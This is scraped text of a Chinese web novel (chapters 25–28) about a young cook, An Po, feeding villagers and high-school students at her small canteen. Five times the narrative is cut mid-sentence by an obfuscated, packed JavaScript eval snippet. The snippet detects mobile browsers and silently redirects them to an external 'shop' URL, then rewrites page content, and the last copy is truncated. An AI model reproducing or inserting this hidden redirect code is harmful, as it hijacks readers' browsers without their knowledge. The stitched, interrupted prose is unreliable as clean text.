“奇怪，看着一大锅，怎么鱼泡吃几口没了？” “火锅煮出来的鱼泡又脆又香，一个人吃几筷子不就没了。李老头你还想要多少？”对面的人答了一句，炫耀夹起一块鱼泡，在空中晃荡。 “刚才在锅里找了好久，最后一块了。”那人说完，当着李老头的面把鱼泡塞进嘴里。 “嗯，真香！” 李老头白他一眼，恨不得跳起来打掉他的鱼泡。转头一瞥却瞧见他儿子碗里立了一块。 嫩白，卷起些弧度。金黄的汤汁流过沟壑，青椒圈嵌在其中，清清爽爽，令人胃口大开。 李老头咧开嘴，“儿子，你不吃内脏，给我。” 筷子刚凑过去，直勾勾盯住对面嘴出神的李老头儿子立马反应过来，抱碗侧过身。“吃，谁说我不吃。” 头贴近碗，嘴巴撅起用力嘬一口。鱼泡瞬间飞到他嘴里。 脆脆的，和爆炒过的猪小肠一样。从鱼肚子里掏出来腥到不行的东西，做成火锅居然一点味也没有。反而因为卷曲弹弹的结构藏了不少汁，吃一口，鱼汤流得到处都是。嘎吱嘎吱，牙齿更没闲着。 全套下来，李老头儿子像喝了一大碗咸底的珍珠奶茶新品。 不用想，鱼泡是没有了。可他提前下的配菜正好煮熟了。 牛肚和牛腱子冷吃和热吃完全是两个口感。冷吃有嚼劲，微微带了点辣卤的香味。在鱼杂火锅过一遍，薄薄的一片卷起，卤味被热度激发，更鲜更香了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765638|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒上满满一口饭，热气上涌，馥郁的香气袭来，呼出的气都是鲜味。 厨师是哪里来的天才，竟然想到把卤味和全家福放到火锅里煮。 安茯苓也在感慨，安珀这天才的小脑袋瓜是怎么长的？ “鱼杂好好吃。碎碎的、脆脆的、鲜鲜的，适合拌饭。” “多出来的全家福配菜用来下火锅，亏得你想出来这个做法。” “卤味煮一下更香了。表面裹着鱼汤的味道，细细嚼几下卤香就蹦出来了。要是切厚点就好了。薄薄的几片咬两三口，没了。” 安珀咽下一口生嫩的空心菜，“卤水拼盘是前菜，又不是专门切出来打火锅的。这几盘还是我偷偷扒出来，凑到你嘴里的。有吃的就不错了。” “凑得好。”安茯苓竖起大拇指，腮帮子鼓得像只过冬储食的松鼠。“爸，你说这次是不是多亏我们安珀了？” 手肘戳戳她爸，安茯苓亮晶晶的眼睛眨巴，一副求夸奖的模样。 “是，幸好这回安珀来了。要是宴会办得寒酸，村里那些碎嘴子婆娘能嘴我一辈子。”安建宏倒满酒，朝安珀举起杯子。“叔叔敬你一杯。” 安珀立马起身，端起饮料碰了一杯。 “不是叔叔吹，安珀你的手艺，在这片绝对是数一数二的。我看你不如把快餐店关了，专心做席面。” “叔叔给你介绍生意，保证你的日子约不过来，比你开店赚得多多了。就是安老哥时运不济，去得太早了，不然还能给你搭把手。呜呜呜……嗝。” 安茯苓妈妈抿起嘴，给他碗里夹了一大筷空心菜。又朝安珀笑笑，打圆场。“安珀别管你叔叔。他喝醉了，什么胡话都能往外蹦。” “按照你的想法走。要是遇上什么困难就来找我和你叔叔。” “今天真是谢谢你了。” “没，是我要谢谢婶婶和叔叔。”安珀举起杯子两方敬了敬。 傍晚的风扑过来，暖暖的。忽然，一阵嘟囔破坏了风的行进。 “老婆你给我夹空心菜干嘛？这玩意梗啾啾，咬又咬不断，像在吃草。” “老婆，我不喜欢吃草。” 安妈&安茯苓&安珀：…… 橘色的夕阳渲染了半边天。渐渐的，夕阳挪走，如墨的深蓝底色占据了大部分面积，安珀带着两天的工资和一个红包回到店里。 还有一条跟在屁股后面的拖把狗。 安珀抬手把贴在卷帘门的告示撕掉，拍拍手上的灰。 要开门了！ 25. 第 25 章 次日 卷帘门哐当哐当卷上去，休息了两天的小食堂终于营业了。 安珀把采购好的菜堆到操作台，转身打开冰箱拿出卤好的大猪头。 猪头是肉摊老板送给安茯苓家做添头的。安珀卤凉菜的时候顺手把它也扔进去了，方便他们家炒着吃。 哪知道三个人对张大猪脸有阴影，压根不敢下嘴。 猪头肉怎么进去，就怎么被安珀捞出来，原样带回店里。 不知道学生们敢不敢吃…… 猪头肉分区斩开，再斜刀片成一节节的小宽片。卤过的猪头整个头呈现出油润的枣红色，卤料的颜色却没有渗进内里，小宽片中央像是猪油上了层磨砂。 刀片飞速划过砧板又快速拉回来，小宽片有层次地堆在砧板上。 唰唰唰—— 猪头慢慢消失在安珀手下，肉片填满了备菜盆。 起锅烧油。 一整盆猪头肉倒进去。 片出来的肉大部分是猪脸，油脂多。随便在锅里炒几下，枣红色的四边朝内卷曲，猪油从锅边滑落，画出道彩色的痕迹。锅里的油不减反增，油汤滋啦滋啦炸着猪头肉。 增味增香的蒜末小米辣豆豉加进来。 刹那间，醇厚的猪油味发生变化。 小米辣浓烈的辣味，蒜和豆豉自带的臭臭味，不安分跑出来，猛烈撞向后厨的门。 “好香啊！” “香！” 前面一道温和的声音感叹，后面跟了奶声奶气的嗓音学舌。 听着年纪就不大，这么小知道什么是香吗？ 安珀失笑摇摇头。猛地，沙沙擦过铁锅的铲子骤然停下。 她眨了眨，停下几秒想了会。 唉，声音好像从店里传过来的。 单脚站立，身子斜到透明围挡，安珀骤然探出个脑袋。一老一小，身高差巨大的祖孙闯入她的视线。 店里来人了！ “欢迎光临。”脆生生的声音响起，比机械女音更热情。呼出的热气打到透明口罩，模糊了安珀的笑容。 “妹子，今天有什么吃的？” 老人边问，边用手搓了搓桌子。 指腹没有油的黏腻，也没灰。吃饭的地方倒是干净。 她又踮起脚，视线透过透明围挡在后厨梭巡。安珀识趣挪开脚，让老人的视线没有阻碍。 等她检查得差不多，安珀才报出今日菜单。 “有爆炒猪头肉，黄瓜皮炒牛肉，擂辣椒皮蛋茄子，蒸小鱼仔。” 闻言，老人眉头皱到一块，犯难瞧了眼她的小孙女。“没有不辣的菜吗？” 微小的动作安珀也看见了。“黄瓜皮炒牛肉的辣椒很少。而且黄瓜皮是自己种的和晒的，绝对没有添加剂。” 没有添加剂几个字扣在老人心房，几秒思索间，一个决定下好了。 她弯下腰，叉到小满的腋下，将小满拎到座位上坐好。 “小满，上次喝的好喝的汤是姐姐做的。今天要不要试试姐姐做的别的菜？” 小满清澈的瞳孔四处游移，听到奶奶的话，乖乖点头答了声好。 小满奶奶笑着摸摸她的头，又给她扯了扯衣服。 昨天，她原本想等厨师吃完饭再和她商量上门做饭的事。哪知道吃完饭后，厨师一溜烟跑了，她找都找不到。 还是她早上带小满散步，碰见曹大嘴，才打听到安珀的信息。 原来她在家里开了家快餐店。 让小满吃饭的事情更好办了。 有店在，还怕厨师跑了吗？ 散完步，给小满泡了杯营养粉，她马不停蹄牵着小满找到店里。 幸好来得早，有个座位。 见祖孙二人安置好，安珀提了句旁边有水自己倒，便继续炒她的猪头肉。 火候差不多够了，猪头肉软糯适中。 调料放进去，再沿着锅边浇上一圈米酒。 刺啦—— 火舌瞬间燎上来，甜甜的酒香也蒸发在空气中。 抓紧时机，抹布把住锅边，安珀用力颠几下。 猪头肉呈抛物线颠出，又在一秒内回落。几轮下来，调料均匀裹住猪头肉，小宽片由浅淡的枣红转变为深深的酱色。 安珀先盛了一碟出来，再把斜刀的辣椒抖落。 大火的余温尚未下去，青红椒片滚个几圈就染上了猪油的高光，熟了。 热气歪歪扭扭飘到四处。深吸一口，安珀趁热把爆炒猪头肉端到保温台，顺带将减辣版搁到祖桌上。 “这碟猪头肉没那么辣，奶奶你要吃正常辣的去保温台打。米饭还要蒸一会，米汤出来了，小朋友要喝吗？” 听到米汤两个字，小满奶奶脸上的皱纹舒展不少。 米汤可是好东西，养胃的。 小满奶奶叠声道：“妹子，你忙你的，我自己来。” 确实安珀也忙着出餐，将米汤桶端出来摆到保温台边就去炒下道菜了。 干瘪的黄瓜皮在水里放了一阵后，恢复了青翠的模样。 一团一团挤干水分，锅也热了，腌制完毕的牛肉先下锅。 滋啦滋啦 牛肉的水分很足，进了油锅就到处溅了小油点。清澈的油底开始浑浊，混了点熟牛血的暗色。 在锅里滑几下，牛肉的嫩度刚刚好。安珀把牛肉盛出来，装到另一个碗里。 炒熟的牛肉亮度低了不少，黏黏糊糊的油汤包住肉片，牛肉的纹路也显现出来。 另起一锅油，姜蒜小米辣扔进去爆香。 慢慢地，红油炒出来，舒爽的辣味也炒出来了。 底料的味道融和得不错，黄瓜皮也可以放进去增味了。 铲子沿着锅边，直直插|入底部，翻转、抖散。 黄瓜皮一点一点裹上油脂，像在表面刷了一层透明指甲油，绿油油的，口水忍不住冒出来。 清爽的黄瓜香气混着刺激口水的辣味溢出来，让人恨不得站在锅边，把黄瓜皮全舀出来佐粥吃。 黄瓜在锅里来回滚个几遍，内里的水汽炒干了，牛肉倒倒进去正正好。 大火温度够，随便滑个几下，青红白的黄瓜皮炒牛肉出锅。 牛肉一层一层冒着热气，另一个灶的水蒸气渐渐少了。 关火，安珀掀开蒸笼盖，白雾雾的水汽扑过来，顺便给安珀做了个面部spa。 等了一小会，雾气散了。 平铺在上层的饭熟了，下层茄子表皮皱巴巴的，紫色依旧淡淡的，水汽一滴一滴凝结在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773984|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表层，肉眼看不出熟透了没。 安珀取根筷子戳进去，茄子被叉了个对穿。 熟了，安珀心里有数了。她瞄了眼墙上的钟，时间来得及。 凉拌菜要腌一会，才入味。 茄子顺着纹路，一条一条撕开，然后晾在旁边一会。等茄子的水分渗出，擂辣椒吃起来才不会水叽叽的。 擂辣椒里面最重要的是辣椒的烧制。 安珀放弃了肉薄的螺丝椒，选择了肉厚的线椒。 几个铁丝网架在燃气灶上。三个灶同时开小火。 蓝色的火焰炙烤烫铁网，将铁丝燎成黑色。安珀伸出手探探，滚烫的热源不断烤着手心。 温度刚刚好。 线椒抓一把堆上去，再一根根摆好，让它受热均匀。 就这么点时间，通体翠绿的线椒已经烫上了网格的黑疤，嗤嗤喷出白烟，像个纹身装黑老大的叛逆少年。 线椒的辣度低，火焰燎上去，吸不到辣椒呛人的气味，筷子之间反而有蔬果的青气。不看厨房里面，单单闻个味道，别人还以为在炒新蔬菜。 全部翻过一遍，整根线椒黑了，表面结出了厚厚的一层黑皮。 安珀一锅端，将它们泡到水里。网格上又摆上一层线椒继续烤。 火不大，不用担心线椒里外全焦了。安珀转身从架子上取个蒜臼子。 白滑滑的蒜填到蒜臼子的一半，腕骨使力，上下没有规律的捣动。 咔嚓咔嚓，水声啪叽啪叽。 完整的蒜粒不受力裂开，散成蒜花，底部还黏在一起。 再捣几下，蒜粒碎成不规则的小片，浓郁的蒜汁味飘出，黄黄的蒜汁黏在蒜片上，黏黏糊糊水嗒嗒。 捣着蒜，线椒烤好了就扔到水里。一来一回，反复几遍，线椒终于烤完了。 水里的线椒正好可以脱皮了。 指甲抠抠，提出一个缝隙，顺势一撕，黑乎乎的辣椒皮完美剥下来，露出深绿的辣椒肉。 线椒肉软软的，闻起来没有焦味，压根没染上表皮的气味。 双手撕几下，线椒成了长短不一的条。 深绿的条条堆满一个盆，安珀舀点猪油出来，放锅里烧热。 小泡泡沿着锅边爬上来，上方的空气被烧得扭曲。 等到猪油里隐约有线条出现，安珀倾起锅，让热油泼出去。 刺啦—— 猪油的香气迸出，表层的线椒碰到热油，自然收缩，不甘示弱爆出一股甜甜的气味。 调味料倒进去入个底味。 茄子倒掉蒸气水，堆在线椒条上。大蒜加进去，再剥几个皮蛋捏碎。 陈醋和香油提个味，几种在盆里抓均匀。 皮蛋黏糊糊的黄裹上茄子和线椒，灰扑扑奠定了菜的底色，稀稀嗒嗒滚成一团，临近中午生出的肌饿感立马收了回去。 样貌不咋地，微酸的气味一直跑出来，令人生津。 于是，胃的信号一直在好饿想吃和算了还能忍忍之间循环。 安珀正好赶在十一点整出餐。 她急着把菜搬出去，学生们快下课了。没想到平常一个人影都没的正门，又接了两位客人。 无奈，安珀只能再拿出几个盆，把菜分分，让两边都能吃到。 26. 第 26 章 “走走走，爸，回去。村里能有什么好吃的？” “想吃鱼杂火锅，带你去我朋友那。他最近在市里新开了家饭馆。”脚刚踩上店里半块砖，男人反手拖住嘴角有紫色痕迹的人，一步一步往外面跑。 微微驼背的中年人甩开他，双手背在身后，乐颠颠坐在靠门位置。“要去你去，我可不去。” “席上吃饭的时候数你嘴最大，换个地方……”中年人停顿几秒，清清嗓，学起他的阴阳怪气。“村里能有什么好~吃~的~” “席面是安珀掌勺，店也是安珀开的。来来来，你告诉我有什么区别？”中年人敲敲桌子，从容搭起二郎腿。“怎么不能吃？” 男人挪开视线，大步向前，单手横着从桌上划拉过去。 “爸，苍蝇馆子犄角旮旯里灰最多了，你看。”男人举起手。 指腹干干净净，中间有块死皮要掉不掉。 “不如你改行去造谣，赚得比现在快。”中年人白他一眼，推开他径直朝保温台走了。 “谁造谣？”男人不服气嘀咕，转手过来一看。脸上像打翻的调色盘，青一块紫一块。 “咳咳，是……是比苍蝇馆子干净。” 男人立在大门口，出去不行，进去没脸。见他爸已经打上菜了，男人一步一挪靠近保温台，自然搭话。 “爸，中午吃什么？” 中年人咚地扔下勺子。“哟，大少爷来吃饭了。乡下一些土特产，不怎么干净。毒到你就不好了。” 男人抿嘴，一句话不敢接。倒是旁边的小满奶奶，瞧了他一眼又一眼。 “我记得你叫……叫李政一，性子和从前一个样。” “你上学最喜欢吃蒸火焙鱼，中午正好有。” 小满奶奶骤然插入父子间的官司，两人都吓了一跳。 李老头给他儿子使个眼色，认识？ 李政一没管他爸，试图忽略小满奶奶脸上的皱纹，拼凑出以前的模样。 突然，小满奶奶时不时扬起的嘴角勾出了大脑深处的记忆。 李政一灵光一闪，双手不自在在兜里掏来掏去，堵在喉咙的字眼哆哆嗦嗦吐出。“宋……宋老师。” 他高中经常翻墙出去吃门口的蒸菜馆，十次有八次会被当时的年级主任，人送外号笑面虎的宋老师逮到。 当时人站在墙上，墙根下那人笑意盈盈，一双充满杀意的瞳孔与你对视。 腿都软了。 翻到后面，他心理阴影大到不行，生怕下一秒那双可怕的瞳孔就追过来了。 可是，蒸菜馆的招牌火焙鱼实在太好吃了。据说老板是买鱼回来自己焙的，火候到位。 火焙鱼酥酥脆脆，拿起来咔嚓咔嚓，簌簌掉小渣子。上锅蒸之后，火焙鱼的状态又变了，软趴之中带了一丝韧劲，吃进嘴里有股若有若无的柴火香。 高中食堂味道和猪食没差别，火焙鱼放他嘴里堪称国宴。 一天不吃就想，两天不吃难受。 要不是后面蒸菜馆老板愿意和他打配合，解了他的馋。他简直不敢想象没火焙鱼吃，还要被笑面虎宋追着杀是什么黑暗日子。 毫不夸张地说，他现在见到功力渐深的宋老师，腿还有点哆嗦。 “正……正好，我尝尝。” 李政一努力挺直脊背，顺手抽出餐盘，从保温台端出一碗火焙鱼，逃似的跑到门口坐下。 可惜，他爸完全读不懂空气。打完菜一屁股坐到宋老师那桌，一个劲地招呼他坐过去。 “过来，一个人坐像什么话。” 李政一端着餐盘，磨磨蹭蹭移过去，剩给他的只有小满对面的位置。他长吁口气，不是坐对面就好，否则他这顿饭得吃到心梗。 李政一想多了，彼时严厉的宋老师心思压根不在他身上。 她是小满奶奶。 “要不要吃肉肉？和汤里的肉肉一模一样哦。”小满奶奶夹块牛肉悬在空中，轻声细语。 等小满全面检查完，她才把肉搁进小满碗里。 “黄瓜皮呢？”翠绿翠绿的黄瓜皮又送到小满眼前。 小满上身往前一扑，瘦巴巴的小短手交叠捂住碗。“不一样，没有。” 行，这是说全家福里没有黄瓜皮。 小满奶奶咬掉黄瓜皮，赶紧给小满多夹了几块牛肉。 其实小满挺省心的。 任何菜只要她吃过并且不排斥的话，她就能一个人乖乖坐在桌子前吃完，压根不需要多操心。 小满奶奶可以放松吃完一顿饭。 嘴里的黄瓜皮还没吞下去，她又夹了几块一起放进嘴里。 咔咔咔—— 牙关挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785753|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压下去，黄瓜皮应激发出脆脆的声音。肉质厚实，少了点水分，一点点的辣做底味慢一拍触上味蕾。 牛肉嫩滑，内里的味道很足，吃到后面还会反上来点奶香。 小满奶奶遗憾看着碗里的米饭。 要是店里有粥就好了！这种晒出来的小菜最适合配粥了。 辣辣的黄瓜皮和牛肉搭在粥面，精华的油脂在粥面不规则溢开。沿着碗边一口嗦，甜滋滋辣乎乎，来上一碗真是爽。 小满奶奶满满夹上几大筷小菜，快速扒上几口饭。作为她孙女的小满速度也不差。 几坨牛肉一起吃，嘴巴塞得鼓鼓囊囊，慢悠悠嚼着。可她的注意力不在嘴里，一双干净的棕瞳不礼貌盯着对面碗里，时不时跟着对面的动作歪歪头。 吃得正欢的李政一不知道，他又被一双相似度99%的眼睛盯上了。 李政一把唯一一碗火焙鱼拌了拌。 店里做出来的火焙鱼其实和他高中白月光完全不一样。 高中蒸菜馆用的是巴掌长的小鱼。上汽蒸完后，鱼皮软趴趴，鱼身子被蒸汽破坏，每边肉都裂成了一丝丝的鱼条。筷子轻轻一撕，鱼条和整块鱼骨分离开。再裹点辣椒塞进嘴…… 一个字，香！ 干椒蒸出来的干香融进汤汁里，鱼肉内里却没被蒸透，保留了火焙出锅的韧感。 现在他吃的全部是用小鱼仔蒸的，碗里还夹了点小虾米。 火候很足，小鱼仔软软趴趴。随便拌拌，鱼头和鱼身分离，干辣椒和豆豉四处穿插到菜里。 一筷子夹上一大把，深渊巨嘴张开。 李政一眼睛一亮。 小鱼仔本身体积小，好几块挤在一起，缝隙多，带的汁也多。 汤汁完全和火焙鱼融为一体，干椒加了点香味，根本不辣。小鱼仔嫩嫩的，一口接一口，不用吐刺，鱼头也能吃。 舌尖时不时尝出点苦味。咬到小鱼仔的胆了，反而给火焙鱼增添了风味。 筷子扒几遍，一钵子蒸火焙鱼很快吃完了。 看着碗里沾的辣椒，李政一叹口气。 太少了，不够吃。 对面也学着他叹口气，李政一闻声抬头，一双相似的瞳孔盯住他。他仿佛又见到了里头的杀气。 屁股往后一缩，李政一腿一哆嗦。“妈呀！” 27. 第 27 章 众人齐刷刷望过去，李政一撑着桌子，话到嘴边急速转个弯。“妈妈呀，火焙鱼太好吃了，我再去端几碗来。” 他总不能说被个几岁不到的小女孩吓到了，多没面子。 李政一板张高冷的脸，同手同脚去保温台加菜。 小满奶奶若有所思，视线来回在李政一和小满之间扫动。小满对奶奶是的眼神很熟悉，扬起头就是一个甜甜的笑。 小满奶奶捋下她后脑勺卷翘的头发，转手将餐盘里的火焙鱼挪到她面前。 “要不要试试？和哥哥碗里的一模一样。” 小钵子里的火焙鱼还没尝，仍然保持出锅时的样子。 火红的干椒和豆豉像雪顶堆在表层。底下，小鱼小虾围了一层又一层，深褐的酱料倒影出两道人影。 浸在最底层的小鱼仔没拌上辣椒，很适合小满。 小满奶奶挑了一条偏小的，送到小满嘴边。 小满张大嘴，伸出头去接，像只在窝里乖乖等投喂的小燕子。 从始至终，小鱼仔就浸在酱汁里。小小的身子，吸饱了汤汁。小满的白粒牙在鱼身上磨了磨，鱼仔破了个口，酱汁从鱼肚子喷涌。 生抽的甜和鲜瞬间填满口腔。 嚼了两三口，小鱼仔就不成形了，随时可以吞进肚。 咕咚—— 吃完一个后，小满眼巴巴看着她奶奶。 “奶奶，还要。”小满急忙把饭碗推过去，补充道：“要大的。” 小满奶奶连声应下，仔仔细细挑一条没刺的。 时间仿佛无限拉长，比等营养粉变凉的时间还要长。桌下的腿等不及蹬了蹬，小满抓住奶奶的筷子，奶声奶气道：“奶奶，快点。” 如出一辙的棕瞳突然漾出点点笑意，小满奶奶把这条幸运鱼仔夹出来，小心地剃掉头和刺，放到小满碗里。 小满一勺饭一条鱼，新品鱼寿司被她一口塞下。两颊鼓起，是只正在欢快进食的松鼠。 小满奶奶眼神温柔。真好，她家小满也会催着吃饭了。 正好回来的李政一一看，两钵子鱼差点没打翻。世界末日了，他居然从这双杀气的眼睛里看出了温柔！ 有崽的年级主任真可怕。 李政一哆哆嗦嗦回到座位，屁股还没哆到椅面，一双老茧开裂的手不客气抢走他盘里的猪头肉。 “猪头肉吃起来真过瘾，没酒配多浪费。李政一，回去把我过年买的那瓶谷酒拿过来。” 李政一伸出手，李老头条件反射后仰。 嗤笑一声，李政一掌握成拳对着嘴角比了比，幽幽道：“爸，你觉得我回去拿酒，这里挨上一拳的几率有多大？或者红色的巴掌印更时髦？” 李老头眼珠子心虚乱瞟，干巴巴吐出一句。“你妈，脾气是有点爆哈。” “吃猪头肉。”李老头一连给李政一夹了几筷子，不多的理智被家中的老伴唤醒。 酱油色的猪头肉颤颤堆在米饭上，两者形成极大的色差。浓稠的酱汁不停下渗，白米饭被染得油润润的，反着光。 随机挑选一坨，李政一正好夹到了猪脸肉，肥肉占了绝大部分。 在锅里走了一遭，猪脸肉炸掉了一部分油，边缘应激卷起，内里透明，整体弹性保持不错。 李政一咬住一角，猪脸肉本身带了点弹弹的韧劲，却又很奇异的软。 一口，油脂顺着口子漫出来。 两口，辣味很快冲上来。 很辣，刺激的痛感不停攻击舌尖，李政一这种常年吃辣的人都有点受不了。嘴巴好像肿起来了，鼻子不停呼出热气。 熬过几秒，酱汁的香跑出来，压下一部分辣觉。 淡淡的卤味、酱汁的鲜咸、猪油的醇香，轮番登场。 咂巴咂巴嘴，李政一觉得嘴巴有点空，好像是少点什么。 要不，去把他爸那瓶谷酒拿出来？ 一人嘴巴一拳，别人一看他们就是亲父子。 对面的小满又悄咪咪观察他很久，见他吃着吃着发起呆来，直觉是个好机会。 双手撑住桌面，上半身支棱起来。一双筷子前后交个大叉，嗖地伸出去叉了一串猪头肉回来，嗖地塞进嘴里。 味蕾最先尝到的是辣味，融在酱汁里的辣味。 “哇——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797696|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小满猛地哭出声，豆大的泪珠哗哗地落。 小满奶奶放下碗，赶紧把她嘴巴的筷子抽出。“这是怎么了？怎么吃到猪头肉了？” 先前晾凉的米汤正好派上用场，小满奶奶端起米汤喂到她嘴边。 小满抽噎吸了几口，浓稠的米甜一遍一遍将辣味压下去。 舌头的痛感得到缓解，小满立马指着筷子告状。“奶奶，肉肉咬嘴巴。” 小满奶奶好笑板起脸，“哪里来的肉肉？奶奶没夹给你。” 昔日宋年级主任的气势拿出来，小满舔舔嘴边的汤渍，心虚搅搅手指。 “哥哥的。” 边上看戏的李政一忽然被cue，他一愣，后知后觉把餐盘转个方向。 猪头肉山果然被穿个洞。 一时间，他不知该摆出什么表情？吃着饭，家被偷了！ “没事，哥哥再去给你打。”李政一尽量捏着嗓子，轻轻揭过。 他愿意放过，小满奶奶可不同意。 她把小满的手翻过来，作势拍了两下。 “下次还敢不敢了？能不能夹别人碗里的菜？要和哥哥说什么？” 摇摇头，小满抽抽鼻涕，“哥哥，对不起。” 李政一手足无措地乱摆，仿佛犯错的是他，只能尴尬地从喉咙里挤出“没关系”。 面上的教育很成功，小满奶奶满意夹了几块牛肉，吓唬道：“再乱吃，肉肉又会咬你嘴巴。” 小满立即捂住嘴，棕瞳里是还没消散的恐惧。 嘴巴合住，唾液的分泌更加频繁，残留在嘴里的香味卷土重来。 米汤冲刷掉大部分辣味，醇厚的猪油香突然显现，香到小满原地蹬腿。 她没吃过肉，唯一的比对只有碗里的牛肉。 但是咬嘴巴的肉要比牛肉更好吃，软软的弹弹的香香的。 好想再来一块。 小满盯着猪头肉，又瞧瞧米汤。 刚才奶奶给她喝了白色的后，嘴巴就不痛了。 要是吃一口肉，再喝口汤，嘴巴是不是不会被咬？小满含着勺子出神，小短手又开始蠢蠢欲动。 28. 第 28 章 圆眼嘀溜嘀溜转，小满瞥了眼奶奶，再瞅瞅对面两个。 三人低头吃饭，神情专注。 好机会！ 小满一个猫咪扑食，筷子直直冲出去。突然，后颈传来令人窒息的力道，筷子被迫停在半空。 转过头，奶奶严肃的脸倒映在视网膜。“肉肉咬嘴巴上瘾了？” 耳朵泄气耷拉下来，小满不服气辩驳。“和汤汤一起，肉肉才不会咬嘴巴。” 小满奶奶懂了，这是馋肉，又嫌肉辣。 她起身接了杯水回来，夹块猪头肉涮涮，递到小满嘴边。 小满摇摇头，“不要，要这个。” 短手一指，小满赫然挑了片带皮的。 小满奶奶哼地笑出声。这孩子，挺会吃。 她赶紧换了一片。这下，小满叉起筷子，嗷呜一口。 猪皮韧性十足，浓浓的酱香味。小满拿牙齿磨了磨，猪皮破开个口子，□□弹弹。小满眯起眼，摇头晃脑。 这个肉肉太好吃了吧！ 香香的，挤一下还出汁。 小满无师自通刨一口饭，油脂的香又浸到饭里了。 米粒放肆沾在嘴角，唇瓣反着亮晶晶的油光。两颊鼓起，小满声音含糊不清。“奶奶，明天吃。” “行，我们明天也来。”小满奶奶把她嘴角的饭粒捻干净。 可喜可贺，开业至今，安家小食堂迎来了本村的首位回头客。当然，学校众多回头客的热情也不逞多让。 Ptsd的下课铃声准时响起，人群嗖地冲下楼，密密麻麻汇聚成一长条，以极快的速度冲向操场角落。还有一部分，稀稀拉拉坠在后面，不紧不慢往食堂的方向走。 砰砰砰—— 唰唰唰—— 学生们熟练地把藏在灌木丛的折叠桌搬出来，三两下展开，再放页纸占座，随后自觉排在打菜队伍后面。 一连串动作丝滑无比，仿佛排练了上千遍。 “老板，你终于回来了。”徐度笑嘻嘻排在最前头，边打菜边和安珀寒暄。“你不知道我们这两天是怎么过的。上午主课连着上，下午试卷连着考。完了中午吃点食堂的猪食续命。” “嘿嘿嘿，这辈子都有了。” “老板，不是我说你。你现在正处于事业的上升期，怎么能一下子放两天假？把我们这些周末上课的高三生置于何地？” 后面的王肃和钱飒余附和点头。 安珀一愣，“周末还补课？教育局不管？” “老板，你这话就难听了。那不叫补课，是一群奋发向上、不甘人后的有志青年聚集在公共场合共同进步。” 徐度打完菜吃饭去了，钱飒余接过他的勺子，纠正安珀的说法。 安珀补餐盒的手发抖，嘴角抑制不住上扬。“行，下次让你们有志青年吃得饱饱的。” 钱飒余心满意足舀了一大勺擂辣椒走了。 临走前，他冲旁边的王肃补一句。“王肃，有你喜欢吃的皮蛋。” 王肃知道有皮蛋，排着队就闻到了。 皮蛋的味道特殊，臭臭的、气味刺激，好像要顺着鼻腔，穿过上颚，突到胃里。 家里平常都是用酱油和醋压压这股味。 可是…… 王肃盯住穿插其中的几抹青色，勺子挑了挑，又砸在茄子上不动了。 队伍的进度停滞，安珀瞧了瞧面前的男生，她有点印象。每次他来吃饭，都是挑不辣的菜打，像个小朋友。 “用的线椒，不辣的。”安珀催催他。 王肃掀开眼皮，又压了下去。 一个人均吃辣的地方，这话的水分有多大可想而知。不过，勺子最终是动了。 王肃加了一个餐盒，将擂辣椒单独盛起来。 吃不了就给钱飒余，别浪费了。 他一走，队伍效率十足动起来。保温盒里的菜以肉眼可见的速度减少，安珀匆匆跑进去加菜。 另一边，王肃一屁股坐到樟树下的折叠桌边。这是他们三个人吃饭的固定位置。阳光透过树缝洒下，热风时不时抚过来。不热，反而带走了心中的燥。 左右两边的人饭已经呼噜掉一大半了。王肃慢悠悠挑了根茄子搁到饭上。 皮蛋已经捣成泥，黏糊糊地裹在茄子条上。 黑灰黑灰的，像是下水道掏出来的排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 